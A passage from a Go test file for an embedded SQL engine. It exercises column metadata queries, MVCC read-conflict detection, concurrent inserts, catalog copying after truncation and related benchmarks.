require.Equal(t, int64(256), row.ValuesBySelector["(columns.max_length)"].RawValue()) require.True(t, row.ValuesBySelector["(columns.nullable)"].RawValue().(bool)) require.False(t, row.ValuesBySelector["(columns.auto_increment)"].RawValue().(bool)) require.True(t, row.ValuesBySelector["(columns.indexed)"].RawValue().(bool)) require.False(t, row.ValuesBySelector["(columns.primary)"].RawValue().(bool)) require.False(t, row.ValuesBySelector["(columns.unique)"].RawValue().(bool)) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) }) t.Run("unconditional column query should return all the columns of mytable2", func(t *testing.T) { r, err := engine.Query(context.Background(), tx, "SELECT * FROM COLUMNS('mytable2')", nil) require.NoError(t, err) defer r.Close() row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, "mytable2", row.ValuesBySelector["(columns.table)"].RawValue()) require.Equal(t, "id", row.ValuesBySelector["(columns.name)"].RawValue()) require.Equal(t, IntegerType, row.ValuesBySelector["(columns.type)"].RawValue()) require.Equal(t, int64(8), row.ValuesBySelector["(columns.max_length)"].RawValue()) require.False(t, row.ValuesBySelector["(columns.nullable)"].RawValue().(bool)) require.False(t, row.ValuesBySelector["(columns.auto_increment)"].RawValue().(bool)) require.True(t, row.ValuesBySelector["(columns.indexed)"].RawValue().(bool)) require.True(t, row.ValuesBySelector["(columns.primary)"].RawValue().(bool)) require.True(t, row.ValuesBySelector["(columns.unique)"].RawValue().(bool)) row, err = r.Read(context.Background()) require.NoError(t, err) require.Equal(t, "mytable2", row.ValuesBySelector["(columns.table)"].RawValue()) require.Equal(t, "name", row.ValuesBySelector["(columns.name)"].RawValue()) require.Equal(t, VarcharType, row.ValuesBySelector["(columns.type)"].RawValue()) require.Equal(t, int64(100), row.ValuesBySelector["(columns.max_length)"].RawValue()) require.True(t, row.ValuesBySelector["(columns.nullable)"].RawValue().(bool)) require.False(t, row.ValuesBySelector["(columns.auto_increment)"].RawValue().(bool)) require.True(t, row.ValuesBySelector["(columns.indexed)"].RawValue().(bool)) require.False(t, row.ValuesBySelector["(columns.primary)"].RawValue().(bool)) require.False(t, row.ValuesBySelector["(columns.unique)"].RawValue().(bool)) row, err = r.Read(context.Background()) require.NoError(t, err) require.Equal(t, "mytable2", row.ValuesBySelector["(columns.table)"].RawValue()) require.Equal(t, "active", row.ValuesBySelector["(columns.name)"].RawValue()) require.Equal(t, BooleanType, row.ValuesBySelector["(columns.type)"].RawValue()) require.Equal(t, int64(1), row.ValuesBySelector["(columns.max_length)"].RawValue()) require.True(t, row.ValuesBySelector["(columns.nullable)"].RawValue().(bool)) require.False(t, row.ValuesBySelector["(columns.auto_increment)"].RawValue().(bool)) require.True(t, row.ValuesBySelector["(columns.indexed)"].RawValue().(bool)) require.False(t, row.ValuesBySelector["(columns.primary)"].RawValue().(bool)) require.False(t, row.ValuesBySelector["(columns.unique)"].RawValue().(bool)) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) }) } func TestMVCC(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, title VARCHAR[10], active BOOLEAN, payload BLOB[2], PRIMARY KEY id);", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1 (title);", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1 (active);", nil) require.NoError(t, err) t.Run("read conflict should be detected when a new index was created by another transaction", func(t *testing.T) { tx1, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) tx2, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx1, "CREATE INDEX ON table1 (payload);", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx1, "COMMIT;", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx2, "INSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx2, "COMMIT;", nil) require.ErrorIs(t, err, store.ErrTxReadConflict) }) t.Run("no read conflict should be detected when processing transactions without overlapping rows", func(t *testing.T) { tx1, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) tx2, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx1, "UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx1, "COMMIT;", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx2, "INSERT INTO table1 (id, title, active, payload) VALUES (2, 'title2', false, x'00A2');", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx2, "COMMIT;", nil) require.NoError(t, err) }) t.Run("read conflict should be detected when processing transactions with overlapping rows", func(t *testing.T) { tx1, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) tx2, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx1, "UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx2, "UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx1, "COMMIT;", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx2, "COMMIT;", nil) require.ErrorIs(t, err, store.ErrTxReadConflict) }) t.Run("read conflict should be detected when processing transactions with invalidated queries", func(t *testing.T) { tx1, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) tx2, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx1, "UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil) require.NoError(t, err) rowReader, err := engine.Query(context.Background(), tx2, "SELECT * FROM table1 USE INDEX ON id WHERE id > 0", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx1, "COMMIT;", nil) require.NoError(t, err) for { _, err = rowReader.Read(context.Background()) if err != nil { require.ErrorIs(t, err, ErrNoMoreRows) break } } err = rowReader.Close() require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx2, "UPSERT INTO table1 (id, title, active, payload) VALUES (2, 'title2', false, x'00A2');", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx2, "COMMIT;", nil) require.ErrorIs(t, err, store.ErrTxReadConflict) }) t.Run("no read conflict should be detected when processing transactions with non-invalidated queries", func(t *testing.T) { tx1, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) tx2, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx1, "UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx1, "COMMIT;", nil) require.NoError(t, err) rowReader, err := engine.Query(context.Background(), tx2, "SELECT * FROM table1 USE INDEX ON id WHERE id > 10", nil) require.NoError(t, err) _, err = rowReader.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = rowReader.Close() require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx2, "UPSERT INTO table1 (id, title, active, payload) VALUES (2, 'title2', false, x'00A2');", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx2, "COMMIT;", nil) require.NoError(t, err) }) t.Run("read conflict should be detected when processing transactions with invalidated queries", func(t *testing.T) { tx1, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) tx2, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx1, "UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx2, "DELETE FROM table1 WHERE id > 0", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx1, "COMMIT;", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx2, "UPSERT INTO table1 (id, title, active, payload) VALUES (2, 'title2', false, x'00A2');", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx2, "COMMIT;", nil) require.ErrorIs(t, err, store.ErrTxReadConflict) }) t.Run("no read conflict should be detected when processing transactions with non-invalidated queries", func(t *testing.T) { tx1, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) tx2, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx1, "UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx1, "COMMIT;", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx2, "DELETE FROM table1 WHERE id > 2", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx2, "UPSERT INTO table1 (id, title, active, payload) VALUES (2, 'title2', false, x'00A2');", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx2, "COMMIT;", nil) require.NoError(t, err) }) t.Run("read conflict should be detected when processing transactions with invalidated queries in desc order", func(t *testing.T) { tx1, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) tx2, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx1, "UPSERT INTO table1 (id, title, active, payload) VALUES (10, 'title10', true, x'0A10');", nil) require.NoError(t, err) rowReader, err := engine.Query(context.Background(), tx2, "SELECT * FROM table1 USE INDEX ON id WHERE id < 10 ORDER BY id DESC", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx1, "COMMIT;", nil) require.NoError(t, err) for { _, err = rowReader.Read(context.Background()) if err != nil { require.ErrorIs(t, err, ErrNoMoreRows) break } } err = rowReader.Close() require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx2, "UPSERT INTO table1 (id, title, active, payload) VALUES (10, 'title10', false, x'0A10');", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx2, "COMMIT;", nil) require.ErrorIs(t, err, store.ErrTxReadConflict) }) t.Run("no read conflict should be detected when processing transactions with non invalidated queries in desc order", func(t *testing.T) { tx1, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) tx2, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx1, "UPSERT INTO table1 (id, title, active, payload) VALUES (11, 'title11', true, x'0A11');", nil) require.NoError(t, err) rowReader, err := engine.Query(context.Background(), tx2, "SELECT * FROM table1 USE INDEX ON id WHERE id < 10 ORDER BY id DESC", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx1, "COMMIT;", nil) require.NoError(t, err) for { _, err = rowReader.Read(context.Background()) if err != nil { require.ErrorIs(t, err, ErrNoMoreRows) break } } err = rowReader.Close() require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx2, "UPSERT INTO table1 (id, title, active, payload) VALUES (10, 'title10', false, x'0A10');", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx2, "COMMIT;", nil) require.NoError(t, err) }) t.Run("no read conflict should be detected when processing transactions with non invalidated queries", func(t *testing.T) { tx1, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) tx2, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx1, "UPSERT INTO table1 (id, title, active, payload) VALUES (11, 'title11', true, x'0A11');", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx1, "UPSERT INTO table1 (id, title, active, payload) VALUES (12, 'title12', true, x'0A12');", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx1, "COMMIT;", nil) require.NoError(t, err) rowReader, err := engine.Query(context.Background(), tx2, "SELECT * FROM table1 LIMIT 2", nil) require.NoError(t, err) for { _, err = rowReader.Read(context.Background()) if err != nil { require.ErrorIs(t, err, ErrNoMoreRows) break } } err = rowReader.Close() require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx2, "UPSERT INTO table1 (id, title, active, payload) VALUES (10, 'title10', false, x'0A10');", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx2, "COMMIT;", nil) require.NoError(t, err) }) t.Run("read conflict should be detected when processing transactions with invalidated queries", func(t *testing.T) { tx1, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) tx2, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx1, "UPSERT INTO table1 (id, title, active, payload) VALUES (11, 'title11', true, x'0A11');", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx1, "UPSERT INTO table1 (id, title, active, payload) VALUES (12, 'title12', true, x'0A12');", nil) require.NoError(t, err) rowReader, err := engine.Query(context.Background(), tx2, "SELECT * FROM table1 ORDER BY id DESC LIMIT 1 OFFSET 1", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx1, "COMMIT;", nil) require.NoError(t, err) for { _, err = rowReader.Read(context.Background()) if err != nil { require.ErrorIs(t, err, ErrNoMoreRows) break } } err = rowReader.Close() require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx2, "UPSERT INTO table1 (id, title, active, payload) VALUES (10, 'title10', false, x'0A10');", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx2, "COMMIT;", nil) require.ErrorIs(t, err, store.ErrTxReadConflict) }) t.Run("read conflict should be detected when processing transactions with invalidated catalog changes", func(t *testing.T) { tx1, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) tx2, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx1, "CREATE TABLE mytable1 (id INTEGER, PRIMARY KEY id);", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx2, "CREATE TABLE mytable1 (id INTEGER, PRIMARY KEY id);", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx1, "COMMIT;", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx2, "COMMIT;", nil) require.ErrorIs(t, err, store.ErrTxReadConflict) }) } func TestMVCCWithExternalCommitAllowance(t *testing.T) { st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true).WithExternalCommitAllowance(true)) require.NoError(t, err) t.Cleanup(func() { closeStore(t, st) }) engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) go func() { time.Sleep(1 * time.Second) st.AllowCommitUpto(1) }() _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, title VARCHAR[10], active BOOLEAN, PRIMARY KEY id);", nil) require.NoError(t, err) tx1, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) tx2, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx2, "INSERT INTO table1 (id, title, active) VALUES (1, 'title1', true);", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx2, "INSERT INTO table1 (id, title, active) VALUES (2, 'title2', false);", nil) require.NoError(t, err) go func() { time.Sleep(1 * time.Second) st.AllowCommitUpto(2) }() _, _, err = engine.Exec(context.Background(), tx1, "COMMIT;", nil) require.NoError(t, err) go func() { time.Sleep(1 * time.Second) st.AllowCommitUpto(3) }() _, _, err = engine.Exec(context.Background(), tx2, "COMMIT;", nil) require.NoError(t, err) } func TestConcurrentInsertions(t *testing.T) { workers := 10 st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true).WithMaxConcurrency(workers)) require.NoError(t, err) t.Cleanup(func() { closeStore(t, st) }) engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, ` CREATE TABLE table1 (id INTEGER, title VARCHAR[10], active BOOLEAN, payload BLOB[2], PRIMARY KEY id); CREATE INDEX ON table1 (title); `, nil) require.NoError(t, err) var wg sync.WaitGroup wg.Add(workers) for i := 0; i < workers; i++ { go func(i int) { tx, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) if err != nil { panic(err) } _, _, err = engine.Exec(context.Background(), tx, "UPSERT INTO table1 (id, title, active, payload) VALUES (@id, 'title', true, x'00A1');", map[string]interface{}{ "id": i, }, ) if err != nil { panic(err) } _, _, err = engine.Exec(context.Background(), tx, "COMMIT;", nil) if err != nil { panic(err) } wg.Done() }(i) } wg.Wait() } func TestSQLTxWithClosedContext(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, title VARCHAR[10], active BOOLEAN, payload BLOB[2], PRIMARY KEY id);", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1 (title);", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1 (active);", nil) require.NoError(t, err) t.Run("transaction creation should fail with a cancelled", func(t *testing.T) { ctx, cancel := context.WithCancel(context.Background()) cancel() _, _, err := engine.Exec(ctx, nil, "BEGIN TRANSACTION;", nil) require.ErrorIs(t, err, context.Canceled) }) t.Run("transaction commit should fail with a cancelled", func(t *testing.T) { ctx, cancel := context.WithCancel(context.Background()) tx, _, err := engine.Exec(ctx, nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) _, _, err = engine.Exec(ctx, tx, "INSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil) require.NoError(t, err) cancel() _, _, err = engine.Exec(ctx, tx, "COMMIT;", nil) require.ErrorIs(t, err, context.Canceled) }) } func setupCommonTestWithOptions(t *testing.T, sopts *store.Options) (*Engine, *store.ImmuStore) { st, err := store.Open(t.TempDir(), sopts.WithMultiIndexing(true)) require.NoError(t, err) t.Cleanup(func() { closeStore(t, st) }) engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) return engine, st } func TestCopyCatalogToTx(t *testing.T) { fileSize := 1024 opts := store.DefaultOptions() opts.WithIndexOptions(opts.IndexOpts.WithMaxActiveSnapshots(10)).WithFileSize(fileSize) engine, st := setupCommonTestWithOptions(t, opts) exec := func(t *testing.T, stmt string) *SQLTx { ret, _, err := engine.Exec(context.Background(), nil, stmt, nil) require.NoError(t, err) return ret } query := func(t *testing.T, stmt string, expectedRows ...*Row) { reader, err := engine.Query(context.Background(), nil, stmt, nil) require.NoError(t, err) for _, expectedRow := range expectedRows { row, err := reader.Read(context.Background()) require.NoError(t, err) require.EqualValues(t, expectedRow, row) } _, err = reader.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = reader.Close() require.NoError(t, err) } colVal := func(t *testing.T, v interface{}, tp SQLValueType) TypedValue { switch v := v.(type) { case nil: return &NullValue{t: tp} case int: return &Integer{val: int64(v)} case string: return &Varchar{val: v} case []byte: return &Blob{val: v} case bool: return &Bool{val: v} } require.Fail(t, "Unknown type of value") return nil } tRow := func( table string, id int64, v1, v2, v3 interface{}, ) *Row { idVal := &Integer{val: id} v1Val := colVal(t, v1, IntegerType) v2Val := colVal(t, v2, VarcharType) v3Val := colVal(t, v3, AnyType) return &Row{ ValuesByPosition: []TypedValue{ idVal, v1Val, v3Val, v2Val, }, ValuesBySelector: map[string]TypedValue{ EncodeSelector("", table, "id"): idVal, EncodeSelector("", table, "name"): v1Val, EncodeSelector("", table, "amount"): v3Val, EncodeSelector("", table, "surname"): v2Val, }, } } // create two tables exec(t, "CREATE TABLE table1 (id INTEGER AUTO_INCREMENT, name VARCHAR[50], amount INTEGER, PRIMARY KEY id)") exec(t, "CREATE UNIQUE INDEX ON table1 (name)") exec(t, "CREATE UNIQUE INDEX ON table1 (name, amount)") query(t, "SELECT * FROM table1") exec(t, "CREATE TABLE table2 (id INTEGER AUTO_INCREMENT, name VARCHAR[50], amount INTEGER, PRIMARY KEY id)") exec(t, "CREATE UNIQUE INDEX ON table2 (name)") exec(t, "CREATE UNIQUE INDEX ON table2 (name, amount)") query(t, "SELECT * FROM table2") t.Run("should fail due to unique index", func(t *testing.T) { _, _, err := engine.Exec(context.Background(), nil, "INSERT INTO table1 (name, amount) VALUES ('name1', 10), ('name1', 10)", nil) require.ErrorIs(t, err, store.ErrKeyAlreadyExists) }) // insert some data var deleteUptoTx *store.TxHeader t.Run("insert few transactions", func(t *testing.T) { for i := 1; i <= 5; i++ { tx, err := st.NewWriteOnlyTx(context.Background()) require.NoError(t, err) key := []byte(fmt.Sprintf("key_%d", i)) value := make([]byte, fileSize) err = tx.Set(key, nil, value) require.NoError(t, err) deleteUptoTx, err = tx.Commit(context.Background()) require.NoError(t, err) } }) // alter table to add a new column to both tables t.Run("alter table and add data", func(t *testing.T) { exec(t, "ALTER TABLE table1 ADD COLUMN surname VARCHAR") exec(t, "INSERT INTO table1(name, surname, amount) VALUES('Foo', 'Bar', 0)") exec(t, "INSERT INTO table1(name, surname, amount) VALUES('Fin', 'Baz', 0)") exec(t, "ALTER TABLE table2 ADD COLUMN surname VARCHAR") exec(t, "INSERT INTO table2(name, surname, amount) VALUES('Foo', 'Bar', 0)") exec(t, "INSERT INTO table2(name, surname, amount) VALUES('Fin', 'Baz', 0)") }) // copy current catalog for recreating the catalog for database/table t.Run("succeed copying catalog for db", func(t *testing.T) { tx, err := engine.store.NewTx(context.Background(), store.DefaultTxOptions()) require.NoError(t, err) err = engine.CopyCatalogToTx(context.Background(), tx) require.NoError(t, err) hdr, err := tx.Commit(context.Background()) require.NoError(t, err) // ensure that the last committed txn is the one we just committed require.Equal(t, hdr.ID, st.LastCommittedTxID()) }) // delete txns in the store upto a certain txn t.Run("succeed truncating sql catalog", func(t *testing.T) { hdr, err := st.ReadTxHeader(deleteUptoTx.ID, false, false) require.NoError(t, err) require.NoError(t, st.TruncateUptoTx(hdr.ID)) }) // add more data in table post truncation t.Run("add data post truncation", func(t *testing.T) { exec(t, "INSERT INTO table1(name, surname, amount) VALUES('John', 'Doe', 0)") exec(t, "INSERT INTO table1(name, surname, amount) VALUES('Smith', 'John', 0)") exec(t, "INSERT INTO table2(name, surname, amount) VALUES('John', 'Doe', 0)") exec(t, "INSERT INTO table2(name, surname, amount) VALUES('Smith', 'John', 0)") }) // check if can query the table with new catalogue t.Run("succeed loading catalog from latest schema", func(t *testing.T) { query(t, "SELECT * FROM table1", tRow("table1", 1, "Foo", "Bar", 0), tRow("table1", 2, "Fin", "Baz", 0), tRow("table1", 3, "John", "Doe", 0), tRow("table1", 4, "Smith", "John", 0), ) query(t, "SELECT * FROM table2", tRow("table2", 1, "Foo", "Bar", 0), tRow("table2", 2, "Fin", "Baz", 0), tRow("table2", 3, "John", "Doe", 0), tRow("table2", 4, "Smith", "John", 0), ) }) t.Run("indexing should work with new catalogue", func(t *testing.T) { _, _, err := engine.Exec(context.Background(), nil, "INSERT INTO table1 (name, amount) VALUES ('name1', 10), ('name1', 10)", nil) require.ErrorIs(t, err, store.ErrKeyAlreadyExists) // should use primary index by default r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1", nil) require.NoError(t, err) orderBy := r.OrderBy() require.NotNil(t, orderBy) require.Len(t, orderBy, 1) require.Equal(t, "id", orderBy[0].Column) scanSpecs := r.ScanSpecs() require.NotNil(t, scanSpecs) require.NotNil(t, scanSpecs.Index) require.True(t, scanSpecs.Index.IsPrimary()) require.Empty(t, scanSpecs.rangesByColID) require.False(t, scanSpecs.DescOrder) err = r.Close() require.NoError(t, err) }) } func BenchmarkInsertInto(b *testing.B) { workerCount := 100 txCount := 10 eCount := 100 opts := store.DefaultOptions(). WithMultiIndexing(true). WithSynced(true). WithMaxActiveTransactions(100). WithMaxConcurrency(workerCount) st, err := store.Open(b.TempDir(), opts) if err != nil { b.Fail() } defer st.Close() engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) if err != nil { b.Fail() } _, ctxs, err := engine.Exec(context.Background(), nil, ` CREATE TABLE mytable1(id VARCHAR[30], title VARCHAR[50], PRIMARY KEY id); CREATE INDEX ON mytable1(title); `, nil) if err != nil { b.Fail() } b.ResetTimer() for i := 0; i < b.N; i++ { var wg sync.WaitGroup wg.Add(workerCount) for w := 0; w < workerCount; w++ { go func(r, w int) { for i := 0; i < txCount; i++ { txOpts := DefaultTxOptions(). WithExplicitClose(true). WithUnsafeMVCC(true). WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return ctxs[0].txHeader.ID }) tx, err := engine.NewTx(context.Background(), txOpts) if err != nil { b.Fail() } for j := 0; j < eCount; j++ { params := map[string]interface{}{ "id": fmt.Sprintf("id_%d_%d_%d_%d", r, w, i, j), "title": fmt.Sprintf("title_%d_%d_%d_%d", r, w, i, j), } _, _, err = engine.Exec(context.Background(), tx, "INSERT INTO mytable1(id, title) VALUES (@id, @title);", params) if err != nil { b.Fail() } } err = tx.Commit(context.Background()) if err != nil { b.Fail() } } wg.Done() }(i, w) } wg.Wait() } } func BenchmarkNotIndexedOrderBy(b *testing.B) { st, err := store.Open(b.TempDir(), store.DefaultOptions().WithMultiIndexing(true).WithLogger(logger.NewMemoryLoggerWithLevel(logger.LogError))) if err != nil { b.Fail() } defer st.Close() engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix).WithSortBufferSize(1024)) if err != nil { b.Fail() } _, _, err = engine.Exec(context.Background(), nil, `CREATE TABLE mytable(id INTEGER AUTO_INCREMENT, title VARCHAR[50], PRIMARY KEY id);`, nil) if err != nil { b.Fail() } for nBatch := 0; nBatch < 100; nBatch++ { tx, err := engine.NewTx(context.Background(), DefaultTxOptions().WithExplicitClose(true)) if err != nil { b.Fail() } nRows := 1000 for i := 0; i < nRows; i++ { _, _, err := engine.Exec(context.Background(), tx, "INSERT INTO mytable(title) VALUES (@title)", map[string]interface{}{ "title": fmt.Sprintf("title%d", rand.Int()), }) if err != nil { b.Fail() } } err = tx.Commit(context.Background()) if err != nil { b.Fail() } } b.ResetTimer() start := time.Now() reader, err := engine.Query(context.Background(), nil, "SELECT * FROM mytable ORDER BY title ASC LIMIT 1", nil) if err != nil { b.Fail() } defer reader.Close() _, err = reader.Read(context.Background()) if err != nil { b.Fail() } fmt.Println("Elapsed:", time.Since(start)) } func TestLikeWithNullableColumns(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE mytable (id INTEGER AUTO_INCREMENT, title VARCHAR, PRIMARY KEY id)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO mytable(title) VALUES (NULL), ('title1')", nil) require.NoError(t, err) r, err := engine.Query(context.Background(), nil, "SELECT id, title FROM mytable WHERE title LIKE '.*'", nil) require.NoError(t, err) defer r.Close() row, err := r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesByPosition, 2) require.EqualValues(t, 2, row.ValuesByPosition[0].RawValue()) require.EqualValues(t, "title1", row.ValuesByPosition[1].RawValue()) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) } type BrokenCatalogTestSuite struct { suite.Suite path string st *store.ImmuStore engine *Engine } func TestBrokenCatalogTestSuite(t *testing.T) { suite.Run(t, new(BrokenCatalogTestSuite)) } func (t *BrokenCatalogTestSuite) SetupTest() { t.path = t.T().TempDir() st, err := store.Open(t.path, store.DefaultOptions().WithMultiIndexing(true)) t.Require().NoError(err) t.st = st t.engine, err = NewEngine(t.st, DefaultOptions().WithPrefix(sqlPrefix)) t.Require().NoError(err) _, _, err = t.engine.Exec( context.Background(), nil, ` CREATE TABLE test( id INTEGER AUTO_INCREMENT, var VARCHAR, b BOOLEAN, PRIMARY KEY(id) ) `, nil) t.Require().NoError(err) // Tests in teh suite require specific IDs to be assigned // we check below if those are as expected tx, err := t.engine.NewTx(context.Background(), DefaultTxOptions()) t.Require().NoError(err) defer tx.Cancel() tab, err := tx.catalog.GetTableByName("test") t.Require().NoError(err) t.Require().EqualValues(1, tab.id) for id, name := range map[uint32]string{ 1: "id", 2: "var", 3: "b", } { col, err := tab.GetColumnByName(name) t.Require().NoError(err) t.Require().EqualValues(id, col.id) } } func (t *BrokenCatalogTestSuite) TearDownTest() { defer os.RemoveAll(t.path) if t.st != nil { err := t.st.Close() t.Require().NoError(err) } } func (t *BrokenCatalogTestSuite) getColEntry(colID uint32) (k, v []byte, vref store.ValueRef) { tx, err := t.st.NewTx(context.Background(), store.DefaultTxOptions()) t.Require().NoError(err) defer tx.Cancel() reader, err := tx.NewKeyReader(store.KeyReaderSpec{ Prefix: MapKey(sqlPrefix, catalogColumnPrefix, EncodeID(1), EncodeID(1), EncodeID(colID)), }) t.Require().NoError(err) defer reader.Close() k, vref, err = reader.Read(context.Background()) 